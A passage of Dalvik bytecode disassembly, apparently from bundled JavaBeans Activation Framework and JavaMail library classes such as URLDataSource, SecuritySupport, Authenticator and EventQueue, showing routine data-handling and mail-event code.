0000001E const/4 v1, 0x0
00000020 aget-object v0, v0, v1
00000024 invoke-virtual DataFlavor->equals(DataFlavor)Z, p1, v0
0000002A move-result v0
0000002C if-eqz v0, :36
:30
00000030 iget-object v0, p0, ObjectDataContentHandler->obj:Object
00000034 goto :14
:36
00000036 new-instance v0, UnsupportedFlavorException
0000003A invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
00000040 throw v0
.end method
.method public declared-synchronized getTransferDataFlavors()[DataFlavor
.registers 7
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
00000006 if-nez v0, :22
:A
0000000A iget-object v0, p0, ObjectDataContentHandler->dch:DataContentHandler
0000000E if-eqz v0, :2A
:12
00000012 iget-object v0, p0, ObjectDataContentHandler->dch:DataContentHandler
00000016 invoke-interface DataContentHandler->getTransferDataFlavors()[DataFlavor, v0
0000001C move-result-object v0
0000001E iput-object v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
:22
00000022 iget-object v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
:26
00000026 monitor-exit p0
00000028 return-object v0
:2A
0000002A const/4 v0, 0x1
:2C
0000002C new-array v0, v0, [DataFlavor
00000030 iput-object v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
00000034 iget-object v0, p0, ObjectDataContentHandler->transferFlavors:[DataFlavor
00000038 const/4 v1, 0x0
0000003A new-instance v2, ActivationDataFlavor
0000003E iget-object v3, p0, ObjectDataContentHandler->obj:Object
00000042 invoke-virtual Object->getClass()Class, v3
00000048 move-result-object v3
0000004A iget-object v4, p0, ObjectDataContentHandler->mimeType:String
0000004E iget-object v5, p0, ObjectDataContentHandler->mimeType:String
00000052 invoke-direct ActivationDataFlavor-><init>(Class, String, String)V, v2, v3, v4, v5
00000058 aput-object v2, v0, v1
:5C
0000005C goto :22
:5E
0000005E move-exception v0
00000060 monitor-exit p0
00000062 throw v0
.catchall {:2 .. :26} :5E
.catchall {:2C .. :5C} :5E
.end method
.method public writeTo(Object, String, OutputStream)V
.registers 7
00000000 iget-object v0, p0, ObjectDataContentHandler->dch:DataContentHandler
00000004 if-eqz v0, :14
:8
00000008 iget-object v0, p0, ObjectDataContentHandler->dch:DataContentHandler
0000000C invoke-interface DataContentHandler->writeTo(Object, String, OutputStream)V, v0, p1, p2, p3
:12
00000012 return-void
:14
00000014 instance-of v0, p1, [B
00000018 if-eqz v0, :28
:1C
0000001C check-cast p1, [B
00000020 invoke-virtual OutputStream->write([B)V, p3, p1
00000026 goto :12
:28
00000028 instance-of v0, p1, String
0000002C if-eqz v0, :4C
:30
00000030 new-instance v0, OutputStreamWriter
00000034 invoke-direct OutputStreamWriter-><init>(OutputStream)V, v0, p3
0000003A check-cast p1, String
0000003E invoke-virtual OutputStreamWriter->write(String)V, v0, p1
00000044 invoke-virtual OutputStreamWriter->flush()V, v0
0000004A goto :12
:4C
0000004C new-instance v0, UnsupportedDataTypeException
00000050 new-instance v1, StringBuilder
00000054 const-string v2, "no object DCH for MIME type "
00000058 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000005E iget-object v2, p0, ObjectDataContentHandler->mimeType:String
00000062 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000068 move-result-object v1
0000006A invoke-virtual StringBuilder->toString()String, v1
00000070 move-result-object v1
00000072 invoke-direct UnsupportedDataTypeException-><init>(String)V, v0, v1
00000078 throw v0
.end method
#--------------------------------------------------------------------------------
.class SecuritySupport$1
.super Object
.source ""
.implements PrivilegedAction
.method constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public run()Object
.registers 3
00000000 const/4 v0, 0x0
:2
00000002 invoke-static Thread->currentThread()Thread
00000008 move-result-object v1
0000000A invoke-virtual Thread->getContextClassLoader()ClassLoader, v1
:10
00000010 move-result-object v0
:12
00000012 return-object v0
:14
00000014 move-exception v1
00000016 goto :12
.catch SecurityException {:2 .. :10} :14
.end method
#--------------------------------------------------------------------------------
.class SecuritySupport$2
.super Object
.source ""
.implements PrivilegedExceptionAction
.field private final synthetic val$c:Class
.field private final synthetic val$name:String
.method constructor <init>(Class, String)V
.registers 3
00000000 iput-object p1, p0, SecuritySupport$2->val$c:Class
00000004 iput-object p2, p0, SecuritySupport$2->val$name:String
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public run()Object
.registers 3
00000000 iget-object v0, p0, SecuritySupport$2->val$c:Class
00000004 iget-object v1, p0, SecuritySupport$2->val$name:String
00000008 invoke-virtual Class->getResourceAsStream(String)InputStream, v0, v1
0000000E move-result-object v0
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class SecuritySupport$3
.super Object
.source ""
.implements PrivilegedAction
.field private final synthetic val$cl:ClassLoader
.field private final synthetic val$name:String
.method constructor <init>(ClassLoader, String)V
.registers 3
00000000 iput-object p1, p0, SecuritySupport$3->val$cl:ClassLoader
00000004 iput-object p2, p0, SecuritySupport$3->val$name:String
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public run()Object
.registers 5
00000000 const/4 v0, 0x0
00000002 check-cast v0, [URL
:6
00000006 new-instance v2, ArrayList
0000000A invoke-direct ArrayList-><init>()V, v2
00000010 iget-object v1, p0, SecuritySupport$3->val$cl:ClassLoader
00000014 iget-object v3, p0, SecuritySupport$3->val$name:String
00000018 invoke-virtual ClassLoader->getResources(String)Enumeration, v1, v3
0000001E move-result-object v3
:20
00000020 if-eqz v3, :30
:24
00000024 invoke-interface Enumeration->hasMoreElements()Z, v3
0000002A move-result v1
0000002C if-nez v1, :56
:30
00000030 invoke-interface List->size()I, v2
00000036 move-result v1
00000038 if-lez v1, :54
:3C
0000003C invoke-interface List->size()I, v2
00000042 move-result v1
00000044 new-array v1, v1, [URL
:48
00000048 invoke-interface List->toArray([Object)[Object, v2, v1
0000004E move-result-object v0
00000050 check-cast v0, [URL
:54
00000054 return-object v0
:56
00000056 invoke-interface Enumeration->nextElement()Object, v3
0000005C move-result-object v1
0000005E check-cast v1, URL
00000062 if-eqz v1, :20
:66
00000066 invoke-interface List->add(Object)Z, v2, v1
:6C
0000006C goto :20
:6E
0000006E move-exception v1
00000070 goto :54
:72
00000072 move-exception v1
00000074 goto :54
:76
00000076 move-exception v0
00000078 move-object v0, v1
0000007A goto :54
:7C
0000007C move-exception v0
0000007E move-object v0, v1
00000080 goto :54
.catch IOException {:6 .. :48} :6E
.catch SecurityException {:6 .. :48} :72
.catch IOException {:48 .. :54} :7C
.catch SecurityException {:48 .. :54} :76
.catch IOException {:56 .. :6C} :6E
.catch SecurityException {:56 .. :6C} :72
.end method
#--------------------------------------------------------------------------------
.class SecuritySupport$4
.super Object
.source ""
.implements PrivilegedAction
.field private final synthetic val$name:String
.method constructor <init>(String)V
.registers 2
00000000 iput-object p1, p0, SecuritySupport$4->val$name:String
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public run()Object
.registers 5
00000000 const/4 v0, 0x0
00000002 check-cast v0, [URL
:6
00000006 new-instance v2, ArrayList
0000000A invoke-direct ArrayList-><init>()V, v2
00000010 iget-object v1, p0, SecuritySupport$4->val$name:String
00000014 invoke-static ClassLoader->getSystemResources(String)Enumeration, v1
0000001A move-result-object v3
:1C
0000001C if-eqz v3, :2C
:20
00000020 invoke-interface Enumeration->hasMoreElements()Z, v3
00000026 move-result v1
00000028 if-nez v1, :52
:2C
0000002C invoke-interface List->size()I, v2
00000032 move-result v1
00000034 if-lez v1, :50
:38
00000038 invoke-interface List->size()I, v2
0000003E move-result v1
00000040 new-array v1, v1, [URL
:44
00000044 invoke-interface List->toArray([Object)[Object, v2, v1
0000004A move-result-object v0
0000004C check-cast v0, [URL
:50
00000050 return-object v0
:52
00000052 invoke-interface Enumeration->nextElement()Object, v3
00000058 move-result-object v1
0000005A check-cast v1, URL
0000005E if-eqz v1, :1C
:62
00000062 invoke-interface List->add(Object)Z, v2, v1
:68
00000068 goto :1C
:6A
0000006A move-exception v1
0000006C goto :50
:6E
0000006E move-exception v1
00000070 goto :50
:72
00000072 move-exception v0
00000074 move-object v0, v1
00000076 goto :50
:78
00000078 move-exception v0
0000007A move-object v0, v1
0000007C goto :50
.catch IOException {:6 .. :44} :6A
.catch SecurityException {:6 .. :44} :6E
.catch IOException {:44 .. :50} :78
.catch SecurityException {:44 .. :50} :72
.catch IOException {:52 .. :68} :6A
.catch SecurityException {:52 .. :68} :6E
.end method
#--------------------------------------------------------------------------------
.class SecuritySupport$5
.super Object
.source ""
.implements PrivilegedExceptionAction
.field private final synthetic val$url:URL
.method constructor <init>(URL)V
.registers 2
00000000 iput-object p1, p0, SecuritySupport$5->val$url:URL
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public run()Object
.registers 2
00000000 iget-object v0, p0, SecuritySupport$5->val$url:URL
00000004 invoke-virtual URL->openStream()InputStream, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
#--------------------------------------------------------------------------------
.class SecuritySupport
.super Object
.source ""
.method private constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public static getContextClassLoader()ClassLoader
.registers 1
00000000 new-instance v0, SecuritySupport$1
00000004 invoke-direct SecuritySupport$1-><init>()V, v0
0000000A invoke-static AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, ClassLoader
00000016 return-object v0
.end method
.method public static getResourceAsStream(Class, String)InputStream
.registers 3
00000000 new-instance v0, SecuritySupport$2
00000004 invoke-direct SecuritySupport$2-><init>(Class, String)V, v0, p0, p1
0000000A invoke-static AccessController->doPrivileged(PrivilegedExceptionAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, InputStream
:16
00000016 return-object v0
:18
00000018 move-exception v0
0000001A invoke-virtual PrivilegedActionException->getException()Exception, v0
00000020 move-result-object v0
00000022 check-cast v0, IOException
00000026 throw v0
.catch PrivilegedActionException {:0 .. :16} :18
.end method
.method public static getResources(ClassLoader, String)[URL
.registers 3
00000000 new-instance v0, SecuritySupport$3
00000004 invoke-direct SecuritySupport$3-><init>(ClassLoader, String)V, v0, p0, p1
0000000A invoke-static AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, [URL
00000016 return-object v0
.end method
.method public static getSystemResources(String)[URL
.registers 2
00000000 new-instance v0, SecuritySupport$4
00000004 invoke-direct SecuritySupport$4-><init>(String)V, v0, p0
0000000A invoke-static AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, [URL
00000016 return-object v0
.end method
.method public static openStream(URL)InputStream
.registers 2
00000000 new-instance v0, SecuritySupport$5
00000004 invoke-direct SecuritySupport$5-><init>(URL)V, v0, p0
0000000A invoke-static AccessController->doPrivileged(PrivilegedExceptionAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, InputStream
:16
00000016 return-object v0
:18
00000018 move-exception v0
0000001A invoke-virtual PrivilegedActionException->getException()Exception, v0
00000020 move-result-object v0
00000022 check-cast v0, IOException
00000026 throw v0
.catch PrivilegedActionException {:0 .. :16} :18
.end method
#--------------------------------------------------------------------------------
.class public URLDataSource
.super Object
.source ""
.implements DataSource
.field private url:URL
.field private url_conn:URLConnection
.method public constructor <init>(URL)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, URLDataSource->url:URL
0000000C iput-object v0, p0, URLDataSource->url_conn:URLConnection
00000010 iput-object p1, p0, URLDataSource->url:URL
00000014 return-void
.end method
.method public getContentType()String
.registers 3
00000000 const/4 v0, 0x0
:2
00000002 iget-object v1, p0, URLDataSource->url_conn:URLConnection
00000006 if-nez v1, :1A
:A
0000000A iget-object v1, p0, URLDataSource->url:URL
0000000E invoke-virtual URL->openConnection()URLConnection, v1
00000014 move-result-object v1
00000016 iput-object v1, p0, URLDataSource->url_conn:URLConnection
:1A
0000001A iget-object v1, p0, URLDataSource->url_conn:URLConnection
0000001E if-eqz v1, :2E
:22
00000022 iget-object v0, p0, URLDataSource->url_conn:URLConnection
00000026 invoke-virtual URLConnection->getContentType()String, v0
0000002C move-result-object v0
:2E
0000002E if-nez v0, :36
:32
00000032 const-string v0, "application/octet-stream"
:36
00000036 return-object v0
:38
00000038 move-exception v1
0000003A goto :1A
.catch IOException {:2 .. :1A} :38
.end method
.method public getInputStream()InputStream
.registers 2
00000000 iget-object v0, p0, URLDataSource->url:URL
00000004 invoke-virtual URL->openStream()InputStream, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getName()String
.registers 2
00000000 iget-object v0, p0, URLDataSource->url:URL
00000004 invoke-virtual URL->getFile()String, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getOutputStream()OutputStream
.registers 3
00000000 iget-object v0, p0, URLDataSource->url:URL
00000004 invoke-virtual URL->openConnection()URLConnection, v0
0000000A move-result-object v0
0000000C iput-object v0, p0, URLDataSource->url_conn:URLConnection
00000010 iget-object v0, p0, URLDataSource->url_conn:URLConnection
00000014 if-eqz v0, :32
:18
00000018 iget-object v0, p0, URLDataSource->url_conn:URLConnection
0000001C const/4 v1, 0x1
0000001E invoke-virtual URLConnection->setDoOutput(Z)V, v0, v1
00000024 iget-object v0, p0, URLDataSource->url_conn:URLConnection
00000028 invoke-virtual URLConnection->getOutputStream()OutputStream, v0
0000002E move-result-object v0
:30
00000030 return-object v0
:32
00000032 const/4 v0, 0x0
00000034 goto :30
.end method
.method public getURL()URL
.registers 2
00000000 iget-object v0, p0, URLDataSource->url:URL
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public UnsupportedDataTypeException
.super IOException
.source ""
.method public constructor <init>()V
.registers 1
00000000 invoke-direct IOException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct IOException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public AuthenticationFailedException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0x6D438D6B238969FL
.method public constructor <init>()V
.registers 1
00000000 invoke-direct MessagingException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct MessagingException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public abstract Authenticator
.super Object
.source ""
.field private requestingPort:I
.field private requestingPrompt:String
.field private requestingProtocol:String
.field private requestingSite:InetAddress
.field private requestingUserName:String
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method private reset()V
.registers 3
00000000 const/4 v1, 0x0
00000002 iput-object v1, p0, Authenticator->requestingSite:InetAddress
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 iput v0, p0, Authenticator->requestingPort:I
0000000C iput-object v1, p0, Authenticator->requestingProtocol:String
00000010 iput-object v1, p0, Authenticator->requestingPrompt:String
00000014 iput-object v1, p0, Authenticator->requestingUserName:String
00000018 return-void
.end method
.method protected final getDefaultUserName()String
.registers 2
00000000 iget-object v0, p0, Authenticator->requestingUserName:String
00000004 return-object v0
.end method
.method protected getPasswordAuthentication()PasswordAuthentication
.registers 2
00000000 const/4 v0, 0x0
00000002 return-object v0
.end method
.method protected final getRequestingPort()I
.registers 2
00000000 iget v0, p0, Authenticator->requestingPort:I
00000004 return v0
.end method
.method protected final getRequestingPrompt()String
.registers 2
00000000 iget-object v0, p0, Authenticator->requestingPrompt:String
00000004 return-object v0
.end method
.method protected final getRequestingProtocol()String
.registers 2
00000000 iget-object v0, p0, Authenticator->requestingProtocol:String
00000004 return-object v0
.end method
.method protected final getRequestingSite()InetAddress
.registers 2
00000000 iget-object v0, p0, Authenticator->requestingSite:InetAddress
00000004 return-object v0
.end method
.method final requestPasswordAuthentication(InetAddress, I, String, String, String)PasswordAuthentication
.registers 7
00000000 invoke-direct Authenticator->reset()V, p0
00000006 iput-object p1, p0, Authenticator->requestingSite:InetAddress
0000000A iput p2, p0, Authenticator->requestingPort:I
0000000E iput-object p3, p0, Authenticator->requestingProtocol:String
00000012 iput-object p4, p0, Authenticator->requestingPrompt:String
00000016 iput-object p5, p0, Authenticator->requestingUserName:String
0000001A invoke-virtual Authenticator->getPasswordAuthentication()PasswordAuthentication, p0
00000020 move-result-object v0
00000022 return-object v0
.end method
#--------------------------------------------------------------------------------
.class EventQueue$QueueElement
.super Object
.source ""
.field event:MailEvent
.field next:EventQueue$QueueElement
.field prev:EventQueue$QueueElement
.field vector:Vector
.method constructor <init>(MailEvent, Vector)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, EventQueue$QueueElement->next:EventQueue$QueueElement
0000000C iput-object v0, p0, EventQueue$QueueElement->prev:EventQueue$QueueElement
00000010 iput-object v0, p0, EventQueue$QueueElement->event:MailEvent
00000014 iput-object v0, p0, EventQueue$QueueElement->vector:Vector
00000018 iput-object p1, p0, EventQueue$QueueElement->event:MailEvent
0000001C iput-object p2, p0, EventQueue$QueueElement->vector:Vector
00000020 return-void
.end method
#--------------------------------------------------------------------------------
.class EventQueue
.super Object
.source ""
.implements Runnable
.field private head:EventQueue$QueueElement
.field private qThread:Thread
.field private tail:EventQueue$QueueElement
.method public constructor <init>()V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, EventQueue->head:EventQueue$QueueElement
0000000C iput-object v0, p0, EventQueue->tail:EventQueue$QueueElement
00000010 new-instance v0, Thread
00000014 const-string v1, "JavaMail-EventQueue"
00000018 invoke-direct Thread-><init>(Runnable, String)V, v0, p0, v1
0000001E iput-object v0, p0, EventQueue->qThread:Thread
00000022 iget-object v0, p0, EventQueue->qThread:Thread
00000026 const/4 v1, 0x1
00000028 invoke-virtual Thread->setDaemon(Z)V, v0, v1
0000002E iget-object v0, p0, EventQueue->qThread:Thread
00000032 invoke-virtual Thread->start()V, v0
00000038 return-void
.end method
.method private declared-synchronized dequeue()EventQueue$QueueElement
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, EventQueue->tail:EventQueue$QueueElement
00000006 if-eqz v0, :32
:A
0000000A iget-object v0, p0, EventQueue->tail:EventQueue$QueueElement
0000000E iget-object v1, v0, EventQueue$QueueElement->prev:EventQueue$QueueElement
00000012 iput-object v1, p0, EventQueue->tail:EventQueue$QueueElement
00000016 iget-object v1, p0, EventQueue->tail:EventQueue$QueueElement
0000001A if-nez v1, :40
:1E
0000001E const/4 v1, 0x0
00000020 iput-object v1, p0, EventQueue->head:EventQueue$QueueElement
:24
00000024 const/4 v1, 0x0
00000026 iput-object v1, v0, EventQueue$QueueElement->next:EventQueue$QueueElement
0000002A iput-object v1, v0, EventQueue$QueueElement->prev:EventQueue$QueueElement
:2E
0000002E monitor-exit p0
00000030 return-object v0
:32
00000032 invoke-virtual Object->wait()V, p0
:38
00000038 goto :2
:3A
0000003A move-exception v0
0000003C monitor-exit p0
0000003E throw v0
:40
00000040 iget-object v1, p0, EventQueue->tail:EventQueue$QueueElement
00000044 const/4 v2, 0x0
00000046 iput-object v2, v1, EventQueue$QueueElement->next:EventQueue$QueueElement
:4A
0000004A goto :24
.catchall {:2 .. :2E} :3A
.catchall {:32 .. :38} :3A
.catchall {:40 .. :4A} :3A
.end method
.method public declared-synchronized enqueue(MailEvent, Vector)V
.registers 5
00000000 monitor-enter p0
:2
00000002 new-instance v0, EventQueue$QueueElement
00000006 invoke-direct EventQueue$QueueElement-><init>(MailEvent, Vector)V, v0, p1, p2
0000000C iget-object v1, p0, EventQueue->head:EventQueue$QueueElement
00000010 if-nez v1, :26
:14
00000014 iput-object v0, p0, EventQueue->head:EventQueue$QueueElement
00000018 iput-object v0, p0, EventQueue->tail:EventQueue$QueueElement
:1C
0000001C invoke-virtual Object->notifyAll()V, p0
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 iget-object v1, p0, EventQueue->head:EventQueue$QueueElement
0000002A iput-object v1, v0, EventQueue$QueueElement->next:EventQueue$QueueElement
0000002E iget-object v1, p0, EventQueue->head:EventQueue$QueueElement
00000032 iput-object v0, v1, EventQueue$QueueElement->prev:EventQueue$QueueElement
00000036 iput-object v0, p0, EventQueue->head:EventQueue$QueueElement
:3A
0000003A goto :1C
:3C
0000003C move-exception v0
0000003E monitor-exit p0
00000040 throw v0
.catchall {:2 .. :22} :3C
.catchall {:26 .. :3A} :3C
.end method
.method public run()V
.registers 5
00000000 invoke-direct EventQueue->dequeue()EventQueue$QueueElement, p0
00000006 move-result-object v0
00000008 if-nez v0, :E
:C
0000000C return-void
:E
0000000E iget-object v2, v0, EventQueue$QueueElement->event:MailEvent
00000012 iget-object v3, v0, EventQueue$QueueElement->vector:Vector
00000016 const/4 v0, 0x0
00000018 move v1, v0
:1A
0000001A invoke-virtual Vector->size()I, v3
:20
00000020 move-result v0
00000022 if-ge v1, v0, :0
:26
00000026 invoke-virtual Vector->elementAt(I)Object, v3, v1
0000002C move-result-object v0
0000002E invoke-virtual MailEvent->dispatch(Object)V, v2, v0
:34
00000034 add-int/lit8 v0, v1, 0x1
00000038 move v1, v0
0000003A goto :1A
:3C
0000003C move-exception v0
:3E
0000003E instance-of v0, v0, InterruptedException
:42
00000042 if-eqz v0, :34
:46
00000046 goto :C
:48
00000048 move-exception v0
0000004A goto :C
.catch InterruptedException {:0 .. :20} :48
.catch Throwable {:26 .. :34} :3C
.catch InterruptedException {:26 .. :34} :48
.catch InterruptedException {:3E .. :42} :48
.end method
.method stop()V
.registers 2
00000000 iget-object v0, p0, EventQueue->qThread:Thread
00000004 if-eqz v0, :18
:8
00000008 iget-object v0, p0, EventQueue->qThread:Thread
0000000C invoke-virtual Thread->interrupt()V, v0
00000012 const/4 v0, 0x0
00000014 iput-object v0, p0, EventQueue->qThread:Thread
:18
00000018 return-void
.end method
#--------------------------------------------------------------------------------
.class public FetchProfile
.super Object
.source ""
.field private headers:Vector
.field private specials:Vector
.method public constructor <init>()V
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, FetchProfile->specials:Vector
0000000C iput-object v0, p0, FetchProfile->headers:Vector
00000010 return-void
.end method
.method public add(String)V
.registers 3
00000000 iget-object v0, p0, FetchProfile->headers:Vector
00000004 if-nez v0, :16
:8
00000008 new-instance v0, Vector
0000000C invoke-direct Vector-><init>()V, v0
00000012 iput-object v0, p0, FetchProfile->headers:Vector
:16
00000016 iget-object v0, p0, FetchProfile->headers:Vector
0000001A invoke-virtual Vector->addElement(Object)V, v0, p1
00000020 return-void
.end method
.method public add(FetchProfile$Item)V
.registers 3
00000000 iget-object v0, p0, FetchProfile->specials:Vector
00000004 if-nez v0, :16
:8
00000008 new-instance v0, Vector
0000000C invoke-direct Vector-><init>()V, v0
00000012 iput-object v0, p0, FetchProfile->specials:Vector
:16
00000016 iget-object v0, p0, FetchProfile->specials:Vector
0000001A invoke-virtual Vector->addElement(Object)V, v0, p1
00000020 return-void
.end method
.method public contains(String)Z
.registers 3
00000000 iget-object v0, p0, FetchProfile->headers:Vector
00000004 if-eqz v0, :1C
:8
00000008 iget-object v0, p0, FetchProfile->headers:Vector
0000000C invoke-virtual Vector->contains(Object)Z, v0, p1
00000012 move-result v0
00000014 if-eqz v0, :1C
:18
00000018 const/4 v0, 0x1
:1A
0000001A return v0
:1C
0000001C const/4 v0, 0x0
0000001E goto :1A
.end method
.method public contains(FetchProfile$Item)Z
.registers 3
00000000 iget-object v0, p0, FetchProfile->specials:Vector
00000004 if-eqz v0, :1C
:8
00000008 iget-object v0, p0, FetchProfile->specials:Vector
0000000C invoke-virtual Vector->contains(Object)Z, v0, p1
00000012 move-result v0
00000014 if-eqz v0, :1C
:18
00000018 const/4 v0, 0x1
:1A
0000001A return v0
:1C
0000001C const/4 v0, 0x0
0000001E goto :1A
.end method
.method public getHeaderNames()[String
.registers 3
00000000 iget-object v0, p0, FetchProfile->headers:Vector
00000004 if-nez v0, :10
:8
00000008 const/4 v0, 0x0
0000000A new-array v0, v0, [String
:E
0000000E return-object v0
:10
00000010 iget-object v0, p0, FetchProfile->headers:Vector
00000014 invoke-virtual Vector->size()I, v0
0000001A move-result v0
0000001C new-array v0, v0, [String
00000020 iget-object v1, p0, FetchProfile->headers:Vector
00000024 invoke-virtual Vector->copyInto([Object)V, v1, v0
0000002A goto :E
.end method
.method public getItems()[FetchProfile$Item
.registers 3
00000000 iget-object v0, p0, FetchProfile->specials:Vector
00000004 if-nez v0, :10
:8
00000008 const/4 v0, 0x0
0000000A new-array v0, v0, [FetchProfile$Item
:E
0000000E return-object v0
:10
00000010 iget-object v0, p0, FetchProfile->specials:Vector
00000014 invoke-virtual Vector->size()I, v0
0000001A move-result v0
0000001C new-array v0, v0, [FetchProfile$Item
00000020 iget-object v1, p0, FetchProfile->specials:Vector
00000024 invoke-virtual Vector->copyInto([Object)V, v1, v0
0000002A goto :E
.end method
#--------------------------------------------------------------------------------
.class public final Flags$Flag
.super Object
.source ""
.field public static final ANSWERED:Flags$Flag
.field public static final DELETED:Flags$Flag
.field public static final DRAFT:Flags$Flag
.field public static final FLAGGED:Flags$Flag
.field public static final RECENT:Flags$Flag
.field public static final SEEN:Flags$Flag
.field public static final USER:Flags$Flag
.field private bit:I
.method static constructor <clinit>()V
.registers 2
00000000 new-instance v0, Flags$Flag
00000004 const/4 v1, 0x1
00000006 invoke-direct Flags$Flag-><init>(I)V, v0, v1
0000000C sput-object v0, Flags$Flag->ANSWERED:Flags$Flag
00000010 new-instance v0, Flags$Flag
00000014 const/4 v1, 0x2
00000016 invoke-direct Flags$Flag-><init>(I)V, v0, v1
0000001C sput-object v0, Flags$Flag->DELETED:Flags$Flag
00000020 new-instance v0, Flags$Flag
00000024 const/4 v1, 0x4
00000026 invoke-direct Flags$Flag-><init>(I)V, v0, v1
0000002C sput-object v0, Flags$Flag->DRAFT:Flags$Flag
00000030 new-instance v0, Flags$Flag
00000034 const/16 v1, 0x8
00000038 invoke-direct Flags$Flag-><init>(I)V, v0, v1
0000003E sput-object v0, Flags$Flag->FLAGGED:Flags$Flag
00000042 new-instance v0, Flags$Flag
00000046 const/16 v1, 0x10
0000004A invoke-direct Flags$Flag-><init>(I)V, v0, v1
00000050 sput-object v0, Flags$Flag->RECENT:Flags$Flag
00000054 new-instance v0, Flags$Flag
00000058 const/16 v1, 0x20
0000005C invoke-direct Flags$Flag-><init>(I)V, v0, v1
00000062 sput-object v0, Flags$Flag->SEEN:Flags$Flag
00000066 new-instance v0, Flags$Flag
0000006A const/high16 v1, 0xFFFFFFFF80000000
0000006E invoke-direct Flags$Flag-><init>(I)V, v0, v1
00000074 sput-object v0, Flags$Flag->USER:Flags$Flag
00000078 return-void
.end method
.method private constructor <init>(I)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput p1, p0, Flags$Flag->bit:I
0000000A return-void
.end method
.method static synthetic access$0(Flags$Flag)I
.registers 2
00000000 iget v0, p0, Flags$Flag->bit:I
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public abstract MailEvent
.super EventObject
.source ""
.field private static final serialVersionUID:J = 0x199F49E8C4A31AF7L
.method public constructor <init>(Object)V
.registers 2
00000000 invoke-direct EventObject-><init>(Object)V, p0, p1
00000006 return-void
.end method
.method public abstract dispatch(Object)V
.end method
#--------------------------------------------------------------------------------
.class Folder$TerminatorEvent
.super MailEvent
.source ""
.field private static final serialVersionUID:J = 0x3442AC84F29E98B5L
.method constructor <init>()V
.registers 2
00000000 new-instance v0, Object
00000004 invoke-direct Object-><init>()V, v0
0000000A invoke-direct MailEvent-><init>(Object)V, p0, v0
00000010 return-void
.end method
.method public dispatch(Object)V
.registers 3
00000000 invoke-static Thread->currentThread()Thread
00000006 move-result-object v0
00000008 invoke-virtual Thread->interrupt()V, v0
0000000E return-void
.end method
#--------------------------------------------------------------------------------
.class public FolderClosedException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0x176C8D33AC752D2BL
.field private transient varargs folder:Folder
.method public constructor <init>(Folder)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct FolderClosedException-><init>(Folder, String)V, p0, p1, v0
00000008 return-void
.end method
.method public constructor <init>(Folder, String)V
.registers 3
00000000 invoke-direct MessagingException-><init>(String)V, p0, p2
00000006 iput-object p1, p0, FolderClosedException->folder:Folder
0000000A return-void
.end method
.method public getFolder()Folder
.registers 2
00000000 iget-object v0, p0, FolderClosedException->folder:Folder
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public FolderNotFoundException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0x68F0E358302DAFBL
.field private transient varargs folder:Folder
.method public constructor <init>()V
.registers 1
00000000 invoke-direct MessagingException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String, Folder)V
.registers 3
00000000 invoke-direct MessagingException-><init>(String)V, p0, p1
00000006 iput-object p2, p0, FolderNotFoundException->folder:Folder
0000000A return-void
.end method
.method public constructor <init>(Folder)V
.registers 2
00000000 invoke-direct MessagingException-><init>()V, p0
00000006 iput-object p1, p0, FolderNotFoundException->folder:Folder
0000000A return-void
.end method
.method public constructor <init>(Folder, String)V
.registers 3
00000000 invoke-direct MessagingException-><init>(String)V, p0, p2
00000006 iput-object p1, p0, FolderNotFoundException->folder:Folder
0000000A return-void
.end method
.method public getFolder()Folder
.registers 2
00000000 iget-object v0, p0, FolderNotFoundException->folder:Folder
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public Header
.super Object
.source ""
.field protected name:String
